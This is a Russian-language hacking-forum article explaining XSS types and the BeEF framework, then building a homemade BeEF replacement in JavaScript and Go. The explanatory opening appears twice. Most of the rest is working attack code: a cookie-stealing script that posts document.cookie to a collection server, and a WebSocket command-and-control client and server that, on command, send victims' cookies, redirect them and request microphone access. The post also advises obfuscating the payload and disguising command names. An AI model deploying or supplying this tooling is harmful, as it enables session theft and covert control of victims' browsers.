Автор: miserylord
Эксклюзивно для форума: xss.pro
Приветствую, любители цифровых приключений!
Некоторое время назад на просторах YouTube я наткнулся на русскоязычное видео с громким названием вроде "Браузерный взлом: Как я сдал твой ПК в аренду себе!" В видео речь шла о возможности взломать браузер с помощью фреймворка Beef XSS.
Вам уже, вероятно, понятно, о чём пойдёт речь в этой статье. Хотя информация может показаться знакомой многим, для тех, кто только начинает изучение темы, она будет весьма полезной. Я расскажу, что представляет собой Beef XSS и как он функционирует в реальности. Кроме того, я продемонстрирую процесс создания собственного минималистичного аналога Beef XSS и объясню, почему этот подход может оказаться более практичным.
Пожалуй, одна из самых известных уязвимостей, о которой написано много материалов, — это межсайтовый скриптинг (XSS). Говоря простыми словами, это инъекция кода JavaScript в приложение. Это клиентская уязвимость, то есть она работает только в рамках браузера пользователя, в котором запускается пейлоад, и в общем случае не может сделать больше, чем может сделать клиент.
В целом, любые поля ввода данных — это потенциальные XSS-уязвимости в любых приложениях, даже в самых крупных. Вот, например, XSS в Discord, описанная как self — self XSS code GitHub. Возможности эксплойтаций зависят от типа:
Попрактиковать XSS можно в лабораториях Burp Suite: All labs | Web Security Academy
Показывать алерты вовсе не практично, другое дело — стилить куки. Это базовый сценарий реализации атаки, но она может быть более сложной и интересной. Куки представляют собой файлы, в которых хранится информация о пользователе, в частности авторизационные токены. Получив эти файлы, можно выдать себя за другого пользователя и получить доступ к его аккаунту.
Доступ к куки-файлам можно получить с помощью JavaScript: сайт обращается к браузеру через JS и извлекает куки-файлы. На вопрос, можно ли получить доступ ко всем куки-файлам браузера, ответ — Same-Origin Policy. В общем случае сайт не может получить все куки пользователя без обхода этого механизма. Но и это не всё: если у куки установлен флаг HttpOnly, JavaScript не сможет получить к нему доступ. Кстати, данные могут храниться не только в куках, но и, например, в Local Storage, к которому у JS доступ есть.
Также в этом контексте можно встретить два термина: CORS и CSP. CORS существуют в контексте сервера, который отдает данные, и регулируют домены, которые могут получить доступ, а какие нет. CSP существуют в контексте клиента и позволяют определить, какие ресурсы могут загружаться и откуда.
Вот и вся основная теория. Давайте перейдем к фреймворку.
Во-первых, фреймворк Beef XSS (Browser Exploitation Framework Cross-Site Scripting) — это действительно интересный инструмент, однако он не лишен своих недостатков и ограничений. Он реализует атаку типа man-in-the-middle и, по утверждениям некоторых видео, способен захватить полный контроль над системой, хотя на деле это не совсем так.
Главное ограничение Beef XSS связано с архитектурой современных браузеров, где каждая вкладка представляет собой изолированный процесс, работающий в песочнице. Чтобы взломать что-то на компьютере, необходимо выйти за пределы этой песочницы, что представляет собой серьезную задачу, особенно если пользователь использует актуальную версию браузера и операционной системы, а не Internet Explorer на Windows XP. И вот первый минус — фреймворк уже довольно устарел. Поскольку это проект с открытым исходным кодом, мы можем посмотреть в репозиторий и увидеть, что последний раз он обновлялся почти два года назад. (репозиторий находится по адресу: Kali Linux / Packages / beef-xss · GitLab.
Следующий минус может быть неочевиден, однако это невозможность работы без GUI-версий проекта и, в целом, без GUI. Но сперва я хочу ответить на вопрос, почему сессия обрывается, когда пользователь закрывает вкладку. Потому что Beef представляет собой сервер с соединением по веб-сокету, и это не какая-то магическая хакерская технология.
Обычные HTTP-клиент-серверные соединения устроены следующим образом: браузер отправляет запрос, получает ответ, и соединение закрывается, требуя нового запроса для следующего взаимодействия. Классической проблемой здесь является реализация чата на веб-сайте, поскольку постоянное обновление страницы ужасно неудобно. Существует несколько решений этой задачи. Первое — это короткий пуллинг (short polling), когда клиент периодически отправляет запросы на сервер. Второе — длинный пуллинг (long polling), когда соединение открывается на определённый промежуток времени, и клиент периодически запрашивает обновления, оставляя соединение открытым, пока не получит новые данные либо пока не истечёт время соединения. Третье решение — веб-сокеты, которые устанавливают постоянное соединение между клиентом и сервером и являются наиболее эффективным способом реализации взаимодействия в реальном времени.
Графический интерфейс Beef выглядит привлекательно, но он требует значительных ресурсов. При сценарии эксплотаций stored XSS всё равно потребуется дополнительная автоматизация, а отрисовка нескольких десятков сессий с преимущественно бесполезными в данный момент данными выглядит абсурдно. Да, есть возможность работы через REST API без открытия интерфейса, но установка Beef включает в себя много ненужного кода (в том числе GUI). Учитывая наличие неактуальных модулей, можно сделать вывод, что это неоправданная трата ресурсов, особенно при масштабировании.
Ну да ладно, а как все же потестировать BeEF самостоятельно?
Установить beef можно, используя Docker: https://hub.docker.com/r/beefproject/beef. После запуска образа необходимо заменить данные для входа в файле config, который находится в папке beff. Далее идем по адресу localhost:3000/ui/authentication и попадаем в админ-панель фреймворка.
Чтобы протестировать BeEF, необходимо добавить в payload ссылку на скрипт, который находится по адресу localhost:3000/hook.js. Создадим HTML файл с кодом:
И откроем его в браузере. После этого браузер будет взят на хук, пока открыта страница. Можно потыкать модули и понять, что многое просто не будет работать. Например, у меня получилось перехватить куки, но вот проиграть звук уже не вышло, а при редиректе на фишинговую страницу Google перед нами откроется интерфейс 2016 года! Тем не менее, вся эта история даст хорошую нагрузку на CPU. Страшно представить, что будет, скажем, при двух тысячах активных подключений.
Переходим к написанию собственного проекта. Первым делом рассмотрим простой сценарий похищения куки-файлов пользователя. В этом примере не будет веб-сокетов или чего-то еще, только логика отправки куки. Предположим, что мы уже заинжектили HTML-страницу.
В этом HTML-коде куки устанавливаются "родным" скриптом, а в body подгружается вредоносный скрипт.
Осталось создать и запустить сервер. Я буду использовать Golang.
Запускаем сервер и видим в консоли:
Received cookies data: user=JohnDoe; sessionToken=abc123
Файл index.html остается без изменений.
В файле script.js реализуем код, который создаст клиентскую часть WebSocket-соединения и будет взаимодействовать с сервером через WebSocket API:
Затем можно обфусцировать код любым инструментом. Для примера воспользуемся онлайн JavaScript обфускатором — obfuscatorio, и получим такую тарабарщину (для лучшего сокрытия не следует использовать очевидные имена команд.).
Ну и напишем код сервера:
Проверяем работу кода.
Вот что мы видим в консоли браузера.
Вот и всё, никакой beef xss не нужен; любые модули можно дописать самостоятельно, как и любую логику работы. Для подключения нескольких соединений используйте код ниже (в нем сообщения отправляются каждому клиенту).
Исходный код прикреплен к сообщению поста. До скорых встреч, трям, пока!
Эксклюзивно для форума: xss.pro
Приветствую, любители цифровых приключений!
Некоторое время назад на просторах YouTube я наткнулся на русскоязычное видео с громким названием вроде "Браузерный взлом: Как я сдал твой ПК в аренду себе!" В видео речь шла о возможности взломать браузер с помощью фреймворка Beef XSS.
Вам уже, вероятно, понятно, о чём пойдёт речь в этой статье. Хотя информация может показаться знакомой многим, для тех, кто только начинает изучение темы, она будет весьма полезной. Я расскажу, что представляет собой Beef XSS и как он функционирует в реальности. Кроме того, я продемонстрирую процесс создания собственного минималистичного аналога Beef XSS и объясню, почему этот подход может оказаться более практичным.
Разделы
- Beef XSS: XSS, куки, beef xss, практическое использование, веб-сокеты.
- Calf XSS: Создание собственного слона с использованием JavaScript и Golang (проще, чем кажется).
XSS
Пожалуй, одна из самых известных уязвимостей, о которой написано много материалов, — это межсайтовый скриптинг (XSS). Говоря простыми словами, это инъекция кода JavaScript в приложение. Это клиентская уязвимость, то есть она работает только в рамках браузера пользователя, в котором запускается пейлоад, и в общем случае не может сделать больше, чем может сделать клиент.
В целом, любые поля ввода данных — это потенциальные XSS-уязвимости в любых приложениях, даже в самых крупных. Вот, например, XSS в Discord, описанная как self — self XSS code GitHub. Возможности эксплойтаций зависят от типа:
- Reflected (отраженные) — название происходит от того, что сервер принимает пейлоад и возвращает его в ответе. Классический пример — это поисковая строка. Добавив в запросе <script>alert(1)</script>, он отправится на сервер и вернется клиенту, показывая алерт вместе с результатами поиска. Это не так круто, как следующий тип, поскольку в общем случае ссылку с пейлоадом нужно еще передать цели.
- Stored (хранимые) — такие XSS сохраняются на сайте, и любой клиент, открывший страницу, получает этот код. Не требует предпринимать каких-либо действий для доставки. Классический пример — поля комментариев. Оставив alert-код под постом в блоге, каждый клиент, открывший ссылку, его получит.
- Self XSS может вызывать путаницу, особенно если вы только знакомитесь с темой. В Википедии self XSS определяется как тип, где пользователь самостоятельно вводит код в консоль DevTools браузера под воздействием социальной инженерии. В такой призме трудно назвать это уязвимостью. Если атакующий смог убедить пользователя открыть девтулзы и ввести туда код, то еще немного, и можно убедить его открыть шелл и вводить код туда. Это звучит фантастично, так можно убедить его в иллюзии наций и заменить рабов на медальки. Так вот, я считаю, что self XSS — это XSS, которые могут работать только в рамках пользователя. Например, если в блоге в непубличном профиле можно добавить alert в поиск по постам (хотя если там есть параметр типа ID в URL, то теоретически это рефлектед XSS, просто более сложное — user-to-user), либо в блоге есть, скажем, оплата для пользователей, и в поле платежного средства вместе с данными можно сохранить пейлоад (хотя если администратор может просматривать страницы так же, как и пользователь, то это будет user-to-user XSS с целью на администратора). Поскольку есть эти нюансы, можно сказать, что self XSS — это рефлектед, где невозможно сформировать URL.
- DOM-based XSS может быть сложнее для понимания, хотя на самом деле ничего сложного в них нет. Это буквально рефлектед XSS, только за исключением того, что запросов на сервер не происходит. Все действия происходят в рамках браузера (в DOM-модели), и сервер не участвует в этом. Например, если добавить к адресу ?default=<script>alert(1)</script>, сервер отдаст нормальную страницу, но браузер отрисует её с учётом пейлода.
Попрактиковать XSS можно в лабораториях Burp Suite: All labs | Web Security Academy
Cookies, CORS, CSP
Показывать алерты вовсе не практично, другое дело — стилить куки. Это базовый сценарий реализации атаки, но она может быть более сложной и интересной. Куки представляют собой файлы, в которых хранится информация о пользователе, в частности авторизационные токены. Получив эти файлы, можно выдать себя за другого пользователя и получить доступ к его аккаунту.
Доступ к куки-файлам можно получить с помощью JavaScript: сайт обращается к браузеру через JS и извлекает куки-файлы. На вопрос, можно ли получить доступ ко всем куки-файлам браузера, ответ — Same-Origin Policy. В общем случае сайт не может получить все куки пользователя без обхода этого механизма. Но и это не всё: если у куки установлен флаг HttpOnly, JavaScript не сможет получить к нему доступ. Кстати, данные могут храниться не только в куках, но и, например, в Local Storage, к которому у JS доступ есть.
Также в этом контексте можно встретить два термина: CORS и CSP. CORS существуют в контексте сервера, который отдает данные, и регулируют домены, которые могут получить доступ, а какие нет. CSP существуют в контексте клиента и позволяют определить, какие ресурсы могут загружаться и откуда.
Вот и вся основная теория. Давайте перейдем к фреймворку.
Beef XSS
Во-первых, фреймворк Beef XSS (Browser Exploitation Framework Cross-Site Scripting) — это действительно интересный инструмент, однако он не лишен своих недостатков и ограничений. Он реализует атаку типа man-in-the-middle и, по утверждениям некоторых видео, способен захватить полный контроль над системой, хотя на деле это не совсем так.
Главное ограничение Beef XSS связано с архитектурой современных браузеров, где каждая вкладка представляет собой изолированный процесс, работающий в песочнице. Чтобы взломать что-то на компьютере, необходимо выйти за пределы этой песочницы, что представляет собой серьезную задачу, особенно если пользователь использует актуальную версию браузера и операционной системы, а не Internet Explorer на Windows XP. И вот первый минус — фреймворк уже довольно устарел. Поскольку это проект с открытым исходным кодом, мы можем посмотреть в репозиторий и увидеть, что последний раз он обновлялся почти два года назад. (репозиторий находится по адресу: Kali Linux / Packages / beef-xss · GitLab.
Следующий минус может быть неочевиден, однако это невозможность работы без GUI-версий проекта и, в целом, без GUI. Но сперва я хочу ответить на вопрос, почему сессия обрывается, когда пользователь закрывает вкладку. Потому что Beef представляет собой сервер с соединением по веб-сокету, и это не какая-то магическая хакерская технология.
Обычные HTTP-клиент-серверные соединения устроены следующим образом: браузер отправляет запрос, получает ответ, и соединение закрывается, требуя нового запроса для следующего взаимодействия. Классической проблемой здесь является реализация чата на веб-сайте, поскольку постоянное обновление страницы ужасно неудобно. Существует несколько решений этой задачи. Первое — это короткий пуллинг (short polling), когда клиент периодически отправляет запросы на сервер. Второе — длинный пуллинг (long polling), когда соединение открывается на определённый промежуток времени, и клиент периодически запрашивает обновления, оставляя соединение открытым, пока не получит новые данные либо пока не истечёт время соединения. Третье решение — веб-сокеты, которые устанавливают постоянное соединение между клиентом и сервером и являются наиболее эффективным способом реализации взаимодействия в реальном времени.
Графический интерфейс Beef выглядит привлекательно, но он требует значительных ресурсов. При сценарии эксплотаций stored XSS всё равно потребуется дополнительная автоматизация, а отрисовка нескольких десятков сессий с преимущественно бесполезными в данный момент данными выглядит абсурдно. Да, есть возможность работы через REST API без открытия интерфейса, но установка Beef включает в себя много ненужного кода (в том числе GUI). Учитывая наличие неактуальных модулей, можно сделать вывод, что это неоправданная трата ресурсов, особенно при масштабировании.
Ну да ладно, а как все же потестировать BeEF самостоятельно?
Практическое использование BeEF
Установить beef можно, используя Docker: https://hub.docker.com/r/beefproject/beef. После запуска образа необходимо заменить данные для входа в файле config, который находится в папке beff. Далее идем по адресу localhost:3000/ui/authentication и попадаем в админ-панель фреймворка.
Чтобы протестировать BeEF, необходимо добавить в payload ссылку на скрипт, который находится по адресу localhost:3000/hook.js. Создадим HTML файл с кодом:
HTML:
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Test Payload</title>
</head>
<body>
<script src="http://localhost:3000/hook.js"></script>
</body>
</html>
И откроем его в браузере. После этого браузер будет взят на хук, пока открыта страница. Можно потыкать модули и понять, что многое просто не будет работать. Например, у меня получилось перехватить куки, но вот проиграть звук уже не вышло, а при редиректе на фишинговую страницу Google перед нами откроется интерфейс 2016 года! Тем не менее, вся эта история даст хорошую нагрузку на CPU. Страшно представить, что будет, скажем, при двух тысячах активных подключений.
Cookies stealing script
Переходим к написанию собственного проекта. Первым делом рассмотрим простой сценарий похищения куки-файлов пользователя. В этом примере не будет веб-сокетов или чего-то еще, только логика отправки куки. Предположим, что мы уже заинжектили HTML-страницу.
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cookie Sender</title>
<script>
function setCookies() {
document.cookie = "user=JohnDoe; path=/";
document.cookie = "sessionToken=abc123; path=/";
}
window.onload = function() {
setCookies();
}
</script>
</head>
<body>
<h1>Cookie Sender</h1>
<p>Cookies are being sent to the server.</p>
<script src="script.js"></script>
</body>
</html>
В этом HTML-коде куки устанавливаются "родным" скриптом, а в body подгружается вредоносный скрипт.
JavaScript:
(function() { // 1
fetch('http://localhost:8080', { // 2
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'cookies=' + encodeURIComponent(document.cookie)
}) // 3
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
})();
- Используем паттерн JavaScript — Immediately Invoked Function Expression (IIFE). IIFE позволяет создать и немедленно выполнить анонимную функцию. Переменные, объявленные внутри IIFE, не видны за его пределами. Можно назвать эту конструкцию легаси частью языка, ведь до обновления ES6+ в языке не существовало const и let, а только var, который обладал глобальным скоупом видимости (тогда как const и let обладают блочным). Также в то время не было модулей, и IIFE можно было использовать для их создания и инкапсуляции данных и логики.
- Делаем POST-запрос на сервер, в теле которого передаем куки, закодированные с помощью encodeURIComponent, чтобы корректно передать специальные символы.
- Обрабатываем ответ.
Осталось создать и запустить сервер. Я буду использовать Golang.
C-подобный:
package main
import (
"fmt"
"log"
"net/http"
)
func withCORS(next http.Handler) http.Handler { // 1
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "POST")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
next.ServeHTTP(w, r)
})
}
func handler(w http.ResponseWriter, r *http.Request) { // 2
if r.Method == http.MethodPost {
err := r.ParseForm()
if err != nil {
http.Error(w, "Error parsing form", http.StatusBadRequest)
return
}
cookiesData := r.FormValue("cookies")
fmt.Printf("Received cookies data: %s\n", cookiesData)
fmt.Fprintf(w, "Cookies received and printed in server console.")
} else {
http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
}
}
func main() { // 3
mux := http.NewServeMux()
mux.HandleFunc("/", handler)
corsMux := withCORS(mux)
log.Println("Starting server on :8080")
log.Fatal(http.ListenAndServe(":8080", corsMux))
}
- Создаем middleware-функцию для поддержки CORS. CORS используется для управления доступом к ресурсам на сервере с других доменов.
- Эта функция обрабатывает POST-запросы, пытается распарсить форму из тела запроса, извлекает значение поля с именем cookies и выводит его в консоль. Для отладки отправляет обратно сообщение клиенту.
- В функции main создается новый маршрутизатор запросов, навешивается middleware с обработкой CORS и хендлер на / для получения запроса с куки, после чего запускается сервер на порту 8080.
Запускаем сервер и видим в консоли:
Received cookies data: user=JohnDoe; sessionToken=abc123
Calf xss
Файл index.html остается без изменений.
В файле script.js реализуем код, который создаст клиентскую часть WebSocket-соединения и будет взаимодействовать с сервером через WebSocket API:
JavaScript:
document.addEventListener("DOMContentLoaded", function() { // 1
const ws = new WebSocket('ws://localhost:8080'); // 2
ws.onopen = function() { // 3
console.log('WebSocket connection opened');
};
ws.onmessage = function(event) { // 4
const message = event.data;
console.log('Received:', message);
if (message === "Please send cookies") {
const cookies = document.cookie;
ws.send(cookies);
} else if (message.startsWith("REDIRECT_TO:")) {
const newUrl = message.substring(12);
window.location.href = newUrl;
} else if (message === "ENABLE_MICROPHONE") {
navigator.mediaDevices.getUserMedia({ audio: true })
.then(stream => {
console.log("Microphone access granted");
})
.catch(error => {
console.error("Error accessing microphone:", error);
});
}
};
ws.onerror = function(error) { // 5
console.error('WebSocket Error:', error);
};
ws.onclose = function() { // 6
console.log('WebSocket connection closed');
};
});
- Добавляем обработчик события DOMContentLoaded, который срабатывает, когда весь HTML-документ был полностью загружен и разобран браузером, но до того, как будут загружены стили, изображения и подфреймы. Это гарантирует, что код внутри обработчика будет выполняться только после того, как DOM полностью готов к манипуляциям.
- Создаем новый объект WebSocket, который устанавливает соединение с сервером.
- Обработчик срабатывает, когда WebSocket-соединение успешно установлено; логируем это в консоль.
- Обрабатываем полученные команды от сервера. Если сообщение равно "Please send cookies", клиент отправляет куки по вебсокету на сервер. Если сообщение начинается с "REDIRECT_TO:", убираем эту часть и парсим ссылку, которая идет после. Далее происходит редирект (если мы перенаправим пользователя на другой ресурс, соединение будет закрыто). Также реализуем сообщение ENABLE_MICROPHONE, которое будет запрашивать доступ к микрофону пользователя.
- Обработка ошибок.
- Обработка закрытия соединения.
Затем можно обфусцировать код любым инструментом. Для примера воспользуемся онлайн JavaScript обфускатором — obfuscatorio, и получим такую тарабарщину (для лучшего сокрытия не следует использовать очевидные имена команд.).
Ну и напишем код сервера:
C-подобный:
package main
import (
"bufio"
"fmt"
"log"
"net/http"
"os"
"github.com/gorilla/websocket" // 1
)
var upgrader = websocket.Upgrader{ // 2
CheckOrigin: func(r *http.Request) bool { return true },
}
var conn *websocket.Conn // 3
var msgChannel = make(chan string)
func handleConnection(w http.ResponseWriter, r *http.Request) { // 4
var err error
conn, err = upgrader.Upgrade(w, r, nil)
if err != nil {
fmt.Println("Error while upgrading connection:", err)
return
}
defer conn.Close()
go func() {
for msg := range msgChannel {
err := conn.WriteMessage(websocket.TextMessage, []byte(msg))
if err != nil {
fmt.Println("Error while sending message:", err)
return
}
}
}()
for {
_, msg, err := conn.ReadMessage()
if err != nil {
fmt.Println("Error while reading message:", err)
break
}
fmt.Printf("Received message: %s\n", msg)
}
}
func handleConsoleCommands() { // 5
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("Enter command: ")
if scanner.Scan() {
command := scanner.Text()
msgChannel <- command
}
}
}
func main() { // 6
http.HandleFunc("/", handleConnection)
go handleConsoleCommands()
log.Println("Starting server on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}
- Для работы с вебсокетами подключим внешний пакет.
- Конфигурация для апгрейда HTTP-соединения до WebSocket. CheckOrigin устанавливает функцию, которая проверяет происхождение запроса. В данном случае функция возвращает true для всех запросов, что означает, что любые запросы могут быть приняты.
- Переменная для хранения активного WebSocket-соединения и канал для передачи сообщений от консоли к WebSocket-клиенту.
- Обработчик HTTP-запросов, который апгрейдит запрос на WebSocket-соединение. В нем прописана горутина, которая отправляет сообщения клиенту. Она постоянно слушает канал и работает через вебсокеты.
- Функция, которая запускается в отдельной горутине и слушает консольный ввод пользователя с помощью сканера для чтения из консоли и бесконечного цикла с отправкой в канал msgChannel.
- В функции main устанавливается обработчик для всех входящих HTTP-запросов на корневой URL, запускается функция handleConsoleCommands в отдельной горутине, чтобы одновременно с сервером обрабатывать ввод с консоли. Запускается HTTP-сервер на порту 8080.
Проверяем работу кода.
Вот что мы видим в консоли браузера.
Вот и всё, никакой beef xss не нужен; любые модули можно дописать самостоятельно, как и любую логику работы. Для подключения нескольких соединений используйте код ниже (в нем сообщения отправляются каждому клиенту).
C-подобный:
package main
import (
"bufio"
"fmt"
"log"
"net/http"
"os"
"sync"
"github.com/gorilla/websocket"
)
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
type Client struct {
conn *websocket.Conn
send chan string
}
var clients = make(map[*Client]bool)
var clientsLock sync.Mutex
func handleConnection(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
fmt.Println("Error while upgrading connection:", err)
return
}
client := &Client{
conn: conn,
send: make(chan string),
}
clientsLock.Lock()
clients[client] = true
clientsLock.Unlock()
go func() {
for msg := range client.send {
err := client.conn.WriteMessage(websocket.TextMessage, []byte(msg))
if err != nil {
fmt.Println("Error while sending message:", err)
break
}
}
client.conn.Close()
clientsLock.Lock()
delete(clients, client)
clientsLock.Unlock()
}()
for {
_, msg, err := conn.ReadMessage()
if err != nil {
fmt.Println("Error while reading message:", err)
break
}
fmt.Printf("Received message: %s\n", msg)
}
}
func handleConsoleCommands() {
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("Enter command: ")
if scanner.Scan() {
command := scanner.Text()
clientsLock.Lock()
for client := range clients {
client.send <- command
}
clientsLock.Unlock()
}
}
}
func main() {
http.HandleFunc("/", handleConnection)
go handleConsoleCommands()
log.Println("Starting server on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}
Исходный код прикреплен к сообщению поста. До скорых встреч, трям, пока!